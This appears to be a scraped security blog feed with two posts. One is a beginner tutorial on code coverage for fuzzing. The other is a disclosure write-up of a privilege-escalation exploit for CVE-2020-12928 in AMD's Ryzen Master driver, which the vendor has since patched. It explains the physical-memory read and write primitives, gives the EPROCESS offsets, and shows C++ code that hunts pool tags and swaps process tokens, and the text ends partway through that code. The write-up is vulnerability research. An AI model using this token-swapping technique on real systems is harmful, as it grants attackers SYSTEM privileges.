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Before yesterdayThe Human Machine Interface

Fuzzing Like A Caveman 5: A Code Coverage Tour for Cavepeople

16 January 2021 at 05:00
By: h0mbre

Introduction

We’ve already discussed the importance of code coverage previously in this series so today we’ll try to understand some of the very basic underlying concepts, some common approaches, some tooling, and also see what techniques some popular fuzzing frameworks are capable of leveraging. We’re going to shy away from some of the more esoteric strategies and try to focus on what would be called the ‘bread and butter’, well-trodden subject areas. So if you’re new to fuzzing, new to software testing, this blogpost should be friendly. I’ve found that a lot of the terminology used in this space is intuitive and easy to understand, but there are some outliers. Hopefully this helps you at least get on your way doing your own research.

We will do our best to not get bogged down in definitional minutiae, and instead will focus on just learning stuff. I’m not a computer scientist and the point of this blogpost is to merely introduce you to these concepts so that you can understand their utility in fuzzing. In that spirit, if you find any information that is misleading, egregiously incorrect, please let me know.

Thanks to all that have been so charitable on Twitter answering questions and helping me out along the way, people like: @gamozolabs, @domenuk, @is_eqv, @d0c_s4vage, and @naehrdine just to name a few :)

Core Definitions

One of the first things we need to do is get some definitions out of the way. These definitions will be important as we will build upon them in the subsequent explanations/explorations.

Code Coverage

Code coverage is any metric that gives you insight into how much of a program’s code has been reached by a test, input, etc. We won’t spend a lot of time here as we’ve already previously discussed code coverage in previous posts. Code coverage is very important to fuzzing as it allows you to keep track of how much surface area in the target program you are able to reach. You can imagine that if you only explore a small % of the program space, your testing might be limited in comprehensiveness.

Basic Blocks

Let’s get the Wikipedia definition out of the way first:

“In compiler construction, a basic block is a straight-line code sequence with no branches in except to the entry and no branches out except at the exit.”

So a ‘basic block’ is a code sequence that is executed linearly where there is no opportunity for the code execution path to branch into separate directions. Let’s come up with a visual example. Take the following dummy program that gets a password via the command line and then checks that it meets password length requirements:

#include <stdio.h>
#include <stdlib.h>

int length_check(char* password)
{
    long i = 0;
    while (password[i] != '\0')
    {
        i++;
    }

    if (i < 8 || i > 20)
    {
        return 0;
    }

    return 1;
}

int main(int argc, char *argv[])
{
    if (argc != 2)
    {
        printf("usage: ./passcheck <password>\n");
        printf("usage: ./passcheck mysecretpassword2021\n");
        exit(-1);
    }

    int result = length_check(argv[1]);

    if (!result)
    {
        printf("password does not meet length requirements\n");
        exit(-1);
    }

    else
    {
        printf("password meets length requirements\n");
    }
}

Once we get this compiled and analyzed in Ghidra, we can see the following graph view of main():

‘Blocks’ is one of those intuitive terms, we can see how the graph view automatically breaks down main() into blocks of code. If you look inside each block, you will see that code execution is unidirectional, there are no opportunities inside of a block to take two or more different paths. The code execution is on rails and the train track has no forks. You can see that blocks terminate in this example with conditional jumps (JZ, JNZ), main returning, and function calls to exit.

Edges/Branches/Transitions

‘Edge’ is one of those terms in CS/graph theory that I don’t think is super intuitive and I much prefer ‘Transition’ or ‘Branch’, but essentially this is meant to capture relationships between basic blocks. Looking back at our basic block graph from Ghidra, we can see that a few different relationships exist, that is to say that there are multiple pathways code execution can take depending on a few conditions.

Basic block 001006cf has a relationship with two different blocks: 001006e4 and 00100706. So code execution inside of 001006cf can reach either of the two blocks it has a relationship with depending on a condition. That condition in our case is the JZ operation depending on whether or not the number of command line arguments is 2:

  • if the number of arguments is not 2, we branch to block 001006e4 organically by just not taking the conditional jump (JZ)
  • if the number of arguments is 2, we branch to block 00100706 by taking the conditional jump

These two possibilities can be referred to as ‘Edges’, so block 01006cf has two edges. You can imagine how this might be important from the perspective of fuzzing. If our fuzzer is only ever exploring one of a basic block’s edges, we are leaving an entire branch untested so it would behoove us to track this type of information.

There’s apparently much more to this concept than I let on here, you can read more on the Wikipedia entry for Control-flow_graph.

Paths

‘Path’ is just the list of basic blocks our program execution traversed. Looking at our example program, there a few different paths as illustrated below with the orange, green and red lines.

Path One: 0x001006cf -> 0x001006e4

Path Two: 0x001006cf -> 0x00100706 -> 0x00100738

Path Three: 0x001006cf -> 0x00100706 -> 0x0000722

Instrumentation

In this blogpost, “Instrumentation” will refer to the process of equipping your fuzzing target with the ability to provide code coverage feedback data. This could mean lots of things. It could be as complex as completely rewriting a compiled binary blob that we have no source code for or as simple as placing a breakpoint on the address of every basic block entry address.

One of the important aspects of instrumentation to keep in mind is the performance penalty incurred by your instrumentation. If your instrumentation provides 50% more useful information than a technique that is 50% less useful but 1000x more performant, you have to consider the tradeoffs. The 50% more data might very well be worth the huge performance penalty, it just depends.

Binary Only

This is a simple one, “Binary Only” refers to targets that we don’t have source code for. So all we have to work with is a binary blob. It can be dynamically linked or static. These types of targets are more prevalent in certain environments, think embedded targets, MacOS, and Windows. There are still binary-only targets on Linux though, they’re just less common.

Even though “binary only” is simple to understand, the implications for gathering code coverage data are far-reaching. A lot of popular code coverage mechanisms rely upon having source code so that the target can be compiled in a certain way that lends itself well to gathering coverage data, for binary-only targets we don’t have the luxury of compiling the target the way that we want. We have to deal with the compiled target the way it is.

Common Strategies

In this section we’ll start looking at common strategies fuzzing tools utilize to gather code coverage data.

Tracking Basic Blocks

One of the most simple ways to gather code coverage is to simply track how many basic blocks are reached by a given input. You can imagine that we are exploring a target program with our inputs and we want to know what code has been reached. Well, we know that given our definition of basic blocks above, if we enter a basic block we will execute all of the code within, so if we just track whether or not a basic block has been reached, we will at least know what paths we have not yet hit and we can go manually inspect them.

This approach isn’t very sophisticated and kind of offers little in the way of high-fidelity coverage data; however, it is extremely simple to implement and works with all kinds of targets. Don’t have source? Throw some breakpoints on it. Don’t have time to write compiler code? Throw some breakpoints on it.

Performance wise, this technique is great. Hitting new coverage will entail hitting a breakpoint, removing the breakpoint and restoring the original contents that were overwritten during instrumentation, saving the input that reached the breakpoint, and continuing on. These events will actually be slow when they occur; however, as you progress through your fuzzing campaign, new coverage becomes increasingly rare. So there is an upfront cost that eventually decreases to near-zero as time goes by.

I’d say that in my limited experience, this type of coverage is typically employed against closed-source targets (binary-only) where our options are limited and this low-tech method works well enough.

Let’s check out @gamozolabs really fast Basic Block tracking coverage tool called Mesos. You can see that it is aimed at use on Windows where most targets will be binary-only. The neat thing about this tool is its performance. You can see his benchmark results in the README:

Registered    1000000 breakpoints in   0.162230 seconds |  6164072.8 / second
Applied       1000000 breakpoints in   0.321347 seconds |  3111897.0 / second
Cleared       1000000 breakpoints in   0.067024 seconds | 14920028.6 / second
Hit            100000 breakpoints in  10.066440 seconds |     9934.0 / second

One thing to keep in mind is that if you use this way of collecting coverage data, you might limit yourself to the first input that reaches a basic block. Say for instance we have the following code:

// input here is an unsigned char buff
if (input[0x9] < 220)
{
    parsing_routine_1(input);
}

else
{
    parsing_routine_2(input);
}

If our first input to reach this code has a value of 200 inside of input[0x9], then we will progress to the parsing_routine_1 block entry. We will remove our breakpoint at the entry of parsing_routine_1 and we will add the input that reached it to our corpus. But now that we’ve reached our block with an input that had a value of 200, we’re kind of married to that value as we will never hit this breakpoint again with any of the other values that would’ve reached it as well. So we’ll never save an input to the corpus that “solved” this basic block a different way. This can be important. Let’s say parsing_routine_1 then takes the entire input, and reads through the input byte-by-byte for the entirety of the input’s length and does some sort of lengthy parsing at each iteration. And let’s also say there are no subsequent routines that are highly stateful where large inputs vary drastically from smaller inputs in behavior. What if the first input we gave the program that solved this block is 1MB in size? Our fuzzers are kind of married to the large input we saved in the corpus and we were kind of unlucky that shorter input didn’t solve this block first and this could hurt performance.

One way to overcome this problem would be to just simply re-instantiate all of your breakpoints periodically. Say you have been running your fuzzer for 10 billion fuzz-cases and haven’t found any new coverage in 24 hours, you could at that point insert all of your already discovered breakpoints once again and try to solve the blocks in a different way perhaps saving a smaller more performant input that solved the block with a input[0x9] = 20. Really there a million different ways to solve this problem. I believe @gamozolabs addressed this exact issue before on Twitter but I wasn’t able to find the post.

All in all, this is a really effective coverage method especially given the variety of targets it works for and how simple it is to implement.

Tracking Edges and Paths

Tracking edges is very popular because this is the strategy employed by AFL and its children. This is the approach where we not only care about what basic blocks are being hit but also, what relationships are being explored between basic blocks.

The AFL++ stats output has references to both paths and edges and implicitly ‘counters’. I’m not 100% sure but I believe their definition of a ‘path’ matches up to ours above. I think they are saying that a ‘path’ is the same as a testcase in their documentation.

I won’t get too in-depth here analyzing how AFL and its children (really AFL++ is quite different than AFL) collect and analyze coverage for a simple reason: it’s for big brain people and I don’t understand much of it. If you’re interested in a more detailed breakdown, head on over to their docs and have a blast.

To track edges, AFL uses tuples of the block addresses involved in the relationship. So in our example program, if we went from block 0x001006cf to block 0x001006e4 because we didn’t provide the correct number of command line arguments, this tuple (0x001006cf , 0x001006e4) would be added to a coverage map AFL++ uses to track unique paths. So let’s track the tuples we would register if we traversed an entire path in our program:

0x001006cf -> 0x00100706 -> 0x00100722

If we take the above path, we can formulate two tuples of coverage data: (0x001006cf, 0x00100706) and (0x00100706, 0x00100722). These can be looked up in AFL’s coverage data to see if these relationships have been explored before.

Not only does AFL track these relationships, it also tracks frequency. So for instance, it is aware of how often each particular edge is reached and explored.

This kind of coverage data is way more complex than merely tracking basic blocks reached; however, getting this level of detail is also not nearly as straightforward.

In the most common case, AFL gets this data by using compile-time instrumentation on the target. You can compile your target, that you have source code for, using the AFL compiler which will emit compiled code with the instrumentation embedded in the target. This is extremely nifty. But it requires access to source code which isn’t always possible.

AFL has an answer for binary-only targets as well and leverages the powerful QEMU emulator to gather similarly detailed coverage data. Emulators have relatively free access to this type of data since they have to take the target instructions and either interpret them (which means simulate their execution) or JIT (just-in-time) compile the blocks into native code and execute them natively. In the case of QEMU here, blocks are JIT’d into native code and stored in a cache so that it could be easily used again by subsequent executions. So when QEMU comes upon a basic block, it can check whether or not this block has been compiled or not already and act accordingly. AFL utilizes this process to track what blocks are being executed and gets very similar data to what it gathers with compile time instrumentation.

I don’t understand all of the nuance here, but a great blogpost to read on the subject is: @abiondo’s post explaining an optimization they made to AFL QEMU mode in 2018. In a grossly short (hopefully not too inaccurate) summary, QEMU would pre-compute what are called direct jumps and compile those blocks into a single block essentially (via keeping execution in natively compiled blocks) as a way to speed things up. Take this toy example for instance:

ADD RAX, 0x8
JMP LAB_0x00100738

Here we have a pre-computable destination to our jump. We know the relative offset to LAB_0x00100738 from our current address (absolute value of current_addr - LAB_0x00100738), so in an emulator we could just take that jump and replace the destination to the compiled block of LAB_0x00100738 and no calculations would need to take place during each execution (only the initial one to calculate the relative offset). This would allow the emulator to progress with native execution without going back into what I would call a ‘simulation-mode’ where it has to calculate the address before jumping to it each time its executed. This is called “block-chaining” in QEMU. Well you can imagine that if this occurs, that huge block of natively executed code (that is really two blocks) is completely opaque to AFL as it’s unaware that two blocks are contained and so it cannot log the edge that was taken. So as a work around, AFL would patch QEMU to no longer do this block-chaining and keep every block isolated so that edges could be tracked. This would mean that at the end of every block, direct jump or not, QEMU would go back into that ‘simulation-mode’ which would incur a performance penalty.

Definitely read through @abiondo’s blogpost though, it’s much more informative.

If you’re wondering what an indirect jump would be, it would be something where the jump location is only known at execution time, something that could look like this in a toy example:

ADD RAX, 0x8
JMP RAX

The only issue with using QEMU to gather our coverage data is it is relatively slow compared to purely native execution. This slowdown can be worth it obviously as the amount of data you get is substantial and sometimes with binary-only targets there are no other alternatives.

Compare Coverage/Compare Shattering

Instead of merely tracking an input or test’s progress through a program’s blocks/edges, compare coverage seeks to understand how much progress our test is making in the program’s comparisons. Comparisons can be done different ways but a common one already exists in our example password program. In the 001006cf block, we have a CMP operation being performed here:

CMP dword ptr [RBP + local_1c], 0x2

A dword is a 4 byte value (32 bits) and this operation is taking our argc value in our program and comparing it with 0x2 to check how many command line arguments were provided. So our two comparison operands are whatever is on the stack at the offset RBP + local_1c and 0x2. If these operands are equal, the Zero Flag will be set and we can utilize a conditional jump with JZ to move accordingly in the program.

But the problem, as it relates to fuzzing, is that this comparison is rather binary. It either sets the Zero Flag or it does not, there is no nuance. We cannot tell how close we came to passing the comparison, to setting the Zero Flag.

So for example, let’s say we were doing a comparison with 0xdeadbeef instead of 0x2. In that case, if we were to submit 0xdeadbebe for the other operand, we’d be much closer to satisfying the JZ condition that we would be if we submitted 0x0.

At a high-level, compare coverage breaks this comparison down into chunks so that progress through the comparison can be tracked with more much granularity than a binary PASS/FAIL. So using compare coverage, this comparison might instead be rewritten as follows:

BEFORE:

Does 0xdeadbebe == 0xdeadbeef ?

AFTER:

Does 0xde == 0xde ? If so, log that we’ve matched the first byte, and

does 0xad == 0xad ? If so, log that we’ve matched the second byte, and

does 0xbe == 0xbe ? If so, log that we’ve matched the third byte, and

does 0xbe == 0xef ? If so, log that we’ve matched both operands completely.

In our AFTER rewrite, instead of getting a binary PASS/FAIL, we instead see that we progressed 75% of the way through the comparison matching 3 out of 4 bytes. Now we know that we can save this input and mutate it further hoping that we can pass the final byte comparison with a correct mutation.

We also aren’t restricted to only breaking down each comparison to bytes, we could instead compare the two operands at the bit-level. For instance we could’ve also compared them as follows:

1101 1110 1010 1101 1011 1110 1110 1111 vs

1101 1110 1010 1101 1011 1110 1011 1110

This could be broken down into 32 separate comparisons instead of our 4, giving us even more fidelity and progress tracking (probably at the expense of performance in practice).

Here we took a 4 byte comparison and broke it down into 4 separate single-byte comparisons. This is also known as “Compare Shattering”. In spirit, it’s very similar to compare coverage. It’s all about breaking down large comparisons into smaller chunks so that progress can be tracked with more fidelity.

Some fuzzers take all compare operands, like 0xdeadbeef in this example, and add them to a sort of magic values dictionary that the fuzzer will randomly insert it into its inputs hoping to pass the comparison in the future.

You can imagine a scenario where a program checks a large value before branching to a complex routine that needs to be explored. Passing these checks is extremely difficult with just basic coverage and would require a lot of human interaction. One could examine a colored graph in IDA that displayed reached blocks and try to manually figure out what was preventing the fuzzer from reaching unreached blocks and determine that a large 32 byte comparison was being failed. One could then adjust their fuzzer to account for this comparison by means of a dictionary or whatever, but this process is all very manual.

There are some really interesting/highly technical means to do this type of thing to both targets with source and binary-only targets!

AFL++ features an LLVM mode where you can utilize what they call “laf-intel instrumentation” which is described here and originally written about here. Straight from laf-intel’s blogpost, we can see their example looks extremely similar to the thought experiment we already went through where they have this source code:

if (input == 0xabad1dea) {
  /* terribly buggy code */
} else {
  /* secure code */
}

And this code snippet is ‘de-optimized’ into several smaller comparisons that the fuzzer can measure its progress through:

if (input >> 24 == 0xab){
  if ((input & 0xff0000) >> 16 == 0xad) {
    if ((input & 0xff00) >> 8 == 0x1d) {
      if ((input & 0xff) == 0xea) {
        /* terrible code */
        goto end;
      }
    }
  }
}

/* good code */

end:

This de-optimized code can be emitted when one opts to specify certain environment variables and utilizes afl-clang-fast to compile the target.

This is super clever and can really take tons of manual effort out of fuzzing.

But what are we to do when we don’t have access to source code and our binary-only target is possibly full of large comparisons?

Luckily, there are open-source solutions to this problem as well. Let’s look at one called “TinyInst” by @ifsecure and friends. I can’t get deep into how this tool works technically because I’ve never used it but the README is pretty descriptive!

As we can see, it is aimed at MacOS and Windows targets in-keeping with its purpose of instrumenting binary only targets. TinyInst gets us coverage by instrumenting select routines via debugger to change the execution permissions so that any execution (not read or write as these permissions are maintained) access to our instrumented code results in a fault which is then handled by the TinyInst debugger where code execution is redirected a re-written instrumented routine/module. So TinyInst blocks all execution of the original module and instead, redirects all that execution to a rewritten module that is inserted into the program. You can see how powerful this can be as it can allow for the breaking down of large comparisons into much smaller ones in a manner very similar to the laf-intel method but for a target that is already compiled. Look at this cool gif showing compare coverage in action from @ifsecure: [https://twitter.com/ifsecure/status/1298341219614031873?s=20]. You can see that he has a program that checks for an 8 byte value, and his fuzzer makes incremental progress through it until it has solved the comparison.

There are some other tools out there that work similarly in theory to TinyInst as well that are definitely worth looking at and they are also mentioned in the README, tools like: DynamoRIO and PIN.

It should also be mentioned that AFL++ also has the ability to do compare coverage tracking even in QEMU mode.

Bonus Land: Using Hardware to Get Coverage Data

That pretty much wraps up the very basics of what type of data we’re interested in, why, and how we might be able to extract it. One type of data extraction method that didn’t come up yet that is particularly helpful for binary-only targets is utilizing your actual hardware to get coverage data.

While it’s not really a ‘strategy’ as the others were, it enables the execution of the strategies mentioned above and wasn’t mentioned yet. We won’t get too deep here. Nowadays, CPUs come chock-full of all kinds of utilities that are aimed at high-fidelity performance profiling. These types of utilities can also be wrangled into giving us coverage data.

Intel-PT is a utility offered by newer Intel CPUs that allows you to extract information about the software you’re running such as control-flow. Each hardware thread has the ability to store data about the application it is executing. The big hang up with using processor trace is that decoding the trace data that is collected has always been painfully slow and cumbersome to work with. Recently however, @is_eqv and @ms_s3c were able to create a very performant library called libxdc which can be used to decode Intel-PT trace data performantly. The graph included in their README is very cool, you can see how much faster it is than the other hardware-sourced coverage guided fuzzing tools while also collecting the highest-fidelity coverage data, what they call “Full Edge Coverage”. Getting your coverage data straight from the CPU seems ideal haha. So for them to be able to engineer a library that gives you what is essentially perfect coverage, and by the way, doesn’t require source code, seems like a substantial accomplishment. I personally don’t have the engineering chops to deal with this type of coverage at the moment, but one day. A lot of popular fuzzers can utilize Intel-PT right out of the box, fuzzers like: AFL++, honggfuzz, and WinAFL.

There are many other such utilities but they are beyond the scope of this introductory blogpost.

Conclusion

In this post we went over some of the building-block terminology used in the space, some very common fundamental strategies that are employed to get meaningful coverage data, and also some of the tooling that is used to extract the data (and in some cases what fuzzing frameworks use what tooling). It should be mentioned that the popular fuzzing frameworks like AFL++ and honggfuzz go through great lengths to make their frameworks as flexible as possible and work with a wide breadth of targets. They often give you tons of flexibility to employ the coverage data extraction method that’s best suited to your situation. Hopefully this was somewhat helpful to begin to understand some of the problems associated with code coverage as it relates to fuzzing.

CVE-2020-12928 Exploit Proof-of-Concept, Privilege Escalation in AMD Ryzen Master AMDRyzenMasterDriver.sys

13 October 2020 at 04:00
By: h0mbre

Background

Earlier this year I was really focused on Windows exploit development and was working through the FuzzySecurity exploit development tutorials on the HackSysExtremeVulnerableDriver to try and learn and eventually went bug hunting on my own.

I ended up discovering what could be described as a logic bug in the ATI Technologies Inc. driver ‘atillk64.sys’. Being new to the Windows driver bug hunting space, I didn’t realize that this driver had already been analyzed and classified as vulnerable by Jesse Michael and his colleague Mickey in their ‘Screwed Drivers’github repo. It had also been mentioned in several other places that have been pointed out to me since.

So I didn’t really feel like I had discovered my first real bug and decided to hunt similar bugs on Windows 3rd party drivers until I found my own in the AMD Ryzen Master AMDRyzenMasterDriver.sys version 15.

I have since stopped looking for these types of bugs as I believe they wouldn’t really help me progress skills wise and my goals have changed since.

Thanks

Huge thanks to the following people for being so charitable, publishing things, messaging me back, encouraging me, and helping me along the way:

AMD Ryzen Master

The AMD Ryzen Master Utility is a tool for CPU overclocking. The software purportedly supports a growing list of processors and allows users fine-grained control over the performance settings of their CPU. You can read about it here

AMD has published an advisory on their Product Security page for this vulnerability.

Vulnerability Analysis Overview

This vulnerability is extremely similar to my last Windows driver post, so please give that a once-over if this one lacks any depth and leaves you curious. I will try my best to limit the redudancy with the previous post.

All of my analysis was performed on Windows 10 Build 18362.19h1_release.190318-1202.

I picked this driver as a target because it is common of 3rd-party Windows drivers responsible for hardware configurations or diagnostics to make available to low-privileged users powerful routines that directly read from or write to physical memory.

Checking Permissions

The first thing I did after installing AMD Ryzen Master using the default installer was to locate the driver in OSR’s Device Tree utility and check its permissions. This is the first thing I was checking during this period because I had read that Microsoft did not consider a violation of the security boundary between Administrator and SYSTEM to be a serious violation. I wanted to ensure that my targets were all accessible from lower privileged users and groups.

Luckily for me, Device Tree indicated that the driver allowed all Authenticated Users to read and modify the driver.

Finding Interesting IOCTL Routines

Write What Where Routine

Next, I started looking at the driver in in a free version of IDA. A search for MmMapIoSpace returned quite a few places in which the api was cross referenced. I just began going down the list to see what code paths could reach these calls.

The first result, sub_140007278, looked very interesting to me.

We don’t know at this point if we control the API parameters in this routine but looking at the routine statically you can see that we make our call to MmMapIoSpace, it stores the returned pointer value in [rsp+48h+BaseAddress] and does a check to make sure the return value was not NULL. If we have a valid pointer, we then progress into this loop routine on the bottom left.

At the start of the looping routine, we can see that eax gets the value of dword ptr [rsp+48h+NumberOfBytes] and then we compare eax to [rsp+48h+var_24]. This makes some sense because we already know from looking at the API call that [rsp+48h+NumberOfBytes] held the NumberOfBytes parameter for MmMapIoSpace. So essentially what this is looking like is, a check to see if a counter variable has reached our NumberOfBytes value. A quick highlight of eax shows that later it takes on the value of [rsp+48h+var_24], is incremented, and then eax is put back into [rsp+48h+var_24]. Then we’re back at the top of our loop where eax is set equal to NumberOfBytes before every check.

So this to me looked interesting, we can see that we’re doing something in a loop, byte by byte, until our NumberOfBytes value is reached. Once that value is reached, we see the other branch in our loop when our NumberOfBytes value is reached is a call to MmUnmapIoSpace.

Looking a bit closer at the loop, we can see a few interesting things. ecx is essentially a counter here as its set equal to our already mentioned counters eax and [rsp+48h+var_24]. We also see there is a mov to [rdx+rcx] from al. A single byte is written to the location of rdx + rcx. So we can make a guess that rdx is a base address and rcx is an offset. This is what a traditional for loop would seem to look like disassembled. al is taken from another similar construction in [r8+rax] where rax is now acting as the offset and r8 is a different base address.

So all in all, I decided this looks like a routine that is either doing a byte by byte read or a byte by byte write to kernel memory most likely. But if you look closely, you can see that the pointer returned from MmMapIoSpace is the one that al is written to (while tracking an offset) because it is eventually moved into rdx for the mov [rdx+rcx], al operation. This was exciting for me because if we can control the parameters of MmMapIoSpace, we will possibly be able to specify a physical memory address and offset and copy a user controlled buffer into that space once it is mapped into our process space. This is essentially a write what where primitive!

Looking at the first cross-reference to this routine, I started working my way back up the call graph until I was able to locate a probable IOCTL code.

After banging my head against my desk for hours trying to pass all of the checks to reach our glorious write what where routine, I was finally able to reach it and get a reliable BSOD. The checks were looking at the sizes of my input and output buffers supplied to my DeviceIoControl call. I was able to solve this by simply stringing together random length buffers of something like AAAAAAAABBBBBBBBCCCCCCCC etc, and seeing how the program would parse my input. Eventually I was able to figure out that the input buffer was structured as follows:

  • first 8 bytes of my input buffer would be the desired physical address you want mapped,
  • the next 4 bytes would represent the NumberOfBytes parameter,
  • and finally, and this is what took me the longest, the next 8 bytes were to be a pointer to the buffer you wanted to overwrite the mapped kernel memory with.

Very cool! We have control over all the MmMapIoSpace params except CacheType and we can specify what buffer to copy over!

This is progress, I was fairly certain at this point I had a write primitive; however, I wasn’t exactly sure what to do with it. At this point, I reasoned that if a routine existed to do a byte by byte write to a kernel buffer somewhere, I probably also had the ability to do a byte by byte read of a kernel buffer. So I set out to find my routine’s sibling, the read what where routine (if she existed).

Read What Where

Now I went back to the other cross references of MmMapIoSpace calls and eventually came upon this routine, sub_1400063D0.

You’d be forgiven if you think it looks just like the last routine we analyzed, I know I did and missed it initially; however, this routine differs in one major way. Instead of copying byte by byte out of our process space buffer and into a kernel buffer, we are copying byte by byte out of a kernel buffer and into our process space buffer. I will spare you the technical analysis here but it is essentially our other routine except only the source and destinations are reversed! This is our read what where primitive and I was able to back track a cross reference in IDA to this IOCTL.

There were a lot of rabbit holes here to go down but eventually this one ended up being straightforward once I found a clear cut code path to the routine from the IOCTL call graph.

Once again, we control the important MmMapIoSpace parameters and, this is a difference from the other IOCTL, the byte by byte transfer occurs in our DeviceIoControl output buffer argument at an offset of 0xC bytes. So we can tell the driver to read physical memory from an arbitrary address, for an arbitrary length, and send us the results!

With these two powerful primitives, I tried to recreate my previous exploitation strategy employed in my last post.

Exploitation

Here I will try to walk through some code snippets and explain my thinking. Apologies for any programming mistakes in this PoC code; however, it works reliably on all the testing I performed (and it worked well enough for AMD to patch the driver.)

First, we’ll need to understand what I’m fishing for here. As I explained in my previous post, I tried to employ the same strategy that @b33f did with his driver exploit and fish for "Proc" tags in the kernel pool memory. Please refer to that post for any questions here. The TL;DR here is that information about processes are stored in the EPROCESS structure in the kernel and some of the important members for our purposes are:

  • ImageFileName (this is the name of the process)
  • UniqueProcessId (the PID)
  • Token (this is a security token value)

The offsets from the beginning of the structure to these members was as follows on my build:

  • 0x2e8 to the UniqueProcessId
  • 0x360 to the Token
  • 0x450 to the ImageFileName

You can see the offsets in WinDBG:

kd> !process 0 0 lsass.exe
PROCESS ffffd48ca64e7180
    SessionId: 0  Cid: 0260    Peb: 63d241d000  ParentCid: 01f0
    DirBase: 1c299b002  ObjectTable: ffffe60f220f2580  HandleCount: 1155.
    Image: lsass.exe

kd> dt nt!_EPROCESS ffffd48ca64e7180 UniqueProcessId Token ImageFilename
   +0x2e8 UniqueProcessId : 0x00000000`00000260 Void
   +0x360 Token           : _EX_FAST_REF
   +0x450 ImageFileName   : [15]  "lsass.exe"

Each data structure in the kernel pool has various headers, (thanks to ReWolf for breaking this down so well):

  • POOL_HEADER structure (this is where our "Proc" tag will reside),
  • OBJECT_HEADER_xxx_INFO structures,
  • OBJECT_HEADER which, contains a Body where the EPROCESS structure lives.

As b33f explains, in his write-up, all of the addresses where one begins looking for a "Proc" tag are 0x10 aligned, so every address here ends in a 0. We know that at some arbitrary address ending in 0, if we look at <address> + 0x4 that is where a "Proc" tag might be.

Leveraging Read What Where

The difficulty on my Windows build was that the length from my "Proc" tag once found, to the beginning of the EPROCESS structure where I know the offsets to the members I want varied wildly. So much so that in order to get the exploit working reliably, I just simply had to create my own data structure and store instances of them in a vector. The data structure was as follows:

struct PROC_DATA {
    std::vector<INT64> proc_address;
    std::vector<INT64> page_entry_offset;
    std::vector<INT64> header_size;
};

So as I’m using our Read What Where primitive to blow through all the RAM hunting for "Proc", if I find an instance of "Proc" I’ll iterate 0x10 bytes at a time until I find a marker signifying the end of our pool headers and the beginning of EPROCESS. This marker was 0x00B80003. So now, I’ll have the proc_address the literal place where "Proc" was and store that in PROC_DATA.proc_address, I’ll also annotate how far that address was from the nearest page-aligned memory address (a multiple of 0x1000) in PROC_DATA.proc_address and also annotate how far from "Proc" it was until we reached our marker or the beginning of EPROCESS in PROC.header_size. These will all be stored in a vector.

You can see this routine here:

INT64 results_begin = ((INT64)output_buff + 0xc);
        for (INT64 i = 0; i < 0xF60; i = i + 0x10) {

            PINT64 proc_ptr = (PINT64)(results_begin + 0x4 + i);
            INT32 proc_val = *(PINT32)proc_ptr;

            if (proc_val == 0x636f7250) {

                for (INT64 x = 0; x < 0xA0; x = x + 0x10) {

                    PINT64 header_ptr = PINT64(results_begin + i + x);
                    INT32 header_val = *(PINT32)header_ptr;

                    if (header_val == 0x00B80003) {

                        proc_count++;
                        cout << "\r[>] Proc chunks found: " << dec <<
                            proc_count << flush;

                        INT64 temp_addr = input_buff.start_address + i;

                        // This address might not be page-aligned to 0x1000
                        // so find out how far off from a multiple of 
                        // 0x1000 we are. This value is stored in our 
                        // PROC_DATA struct in the page_entry_offset
                        // member.
                        INT64 modulus = temp_addr % 0x1000;
                        proc_data.page_entry_offset.push_back(modulus);

                        // This is the page-aligned address where, either
                        // small or large paged memory will hold our "Proc"
                        // chunk. We store this as our proc_address member
                        // in PROC_DATA.
                        INT64 page_address = temp_addr - modulus;
                        proc_data.proc_address.push_back(
                            page_address);
                        proc_data.header_size.push_back(x);
                    }
                }
            }
        }

It will be more obvious with the entire exploit code, but what I’m doing here is basically starting from a physical address, and calling our read what where with a read size of 0x100c (0x1000 + 0xc as required so we can capture a whole page of memory and still keep our returned metadata information that starts at offset 0xc in our output buffer) in a loop all the while adding these discovered PROC_DATA structures to a vector. Once we hit our max address or max iterations, we’ll send this vector over to a second routine that parses out all the data we care about like the EPROCESS members we care about.

It is important to note that I took great care to make sure that all calls to MmMapIoSpace used page-aligned physical addresses as this is the most stable way to call the API

Now that I knew exactly how many "Proc" chunks I had found and stored all their relevant metadata in a vector, I could start a second routine that would use that metadata to check for their EPROCESS member values to see if they were processes I cared about.

My strategy here was to find the EPROCESS members for a privileged process such as lsass.exe and swap its security token with the security token of a cmd.exe process that I owned. You can see a portion of that code here:

INT64 results_begin = ((INT64)output_buff + 0xc);

        INT64 imagename_address = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x450; //ImageFileName
        INT64 imagename_value = *(PINT64)imagename_address;

        INT64 proc_token_addr = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x360; //Token
        INT64 proc_token = *(PINT64)proc_token_addr;

        INT64 pid_addr = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x2e8; //UniqueProcessId
        INT64 pid_value = *(PINT64)pid_addr;

        int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
            imagename_value);

        if (sys_result != 0) {

            system_token_count++;
            system_tokens.token_name.push_back(imagename_value);
            system_tokens.token_value.push_back(proc_token);
        }

        if (imagename_value == 0x6578652e646d63) {
            //cout << "[>] cmd.exe found!\n";
            cmd_token_address = (start_address + proc_data.header_size[i] +
                proc_data.page_entry_offset[i] + 0x360);
        }
    }

    if (system_tokens.token_name.size() != 0 and cmd_token_address != 0) {
        cout << "\n[>] cmd.exe and SYSTEM token information found!\n";
        cout << "[>] Let's swap tokens!\n";
    }
    else if (cmd_token_address == 0) {
        cout << "[!] No cmd.exe token address found, exiting...\n";
        exit(1);
    }

So now at this point I had the location and values of every thing I cared about and it was time to leverage the Write What Where routine we had found.

Leveraging Write What Where

The problem I was facing was that I need my calls to MmMapIoSpace to be page-aligned so that the calls remain stable and we don’t get any unnecessary BSODs.

So let’s picture a page of memory as a line.

<—————–MEMORY PAGE—————–>

We can only write in page-size chunks; however, the value we want to overwrite, the value of the cmd.exe process’s Token, is most-likely not page-aligned. So now we have this:

<———TOKEN——————————->

I could do a direct write at the exact address of this Token value, but my call to MmMapIoSpace would not be page-aligned.

So what I did was one more Read What Where call to store everything on that page of memory in a buffer and then overwrite the cmd.exe Token with the lsass.exe Token and then use that buffer in my call to the Write What Where routine.

So instead of an 8 byte write to simply overwrite the value, I’d be opting to completely overwrite that entire page of memory but only changing 8 bytes, that way the calls to MmMapIoSpace stay clean.

You can see some of that math in the code snippet below with references to modulus. Remember that the Write What Where utilized the input buffer of DeviceIoControl as the buffer it would copy over into the kernel memory:

if (!DeviceIoControl(
        hFile,
        READ_IOCTL,
        &input_buff,
        0x40,
        output_buff,
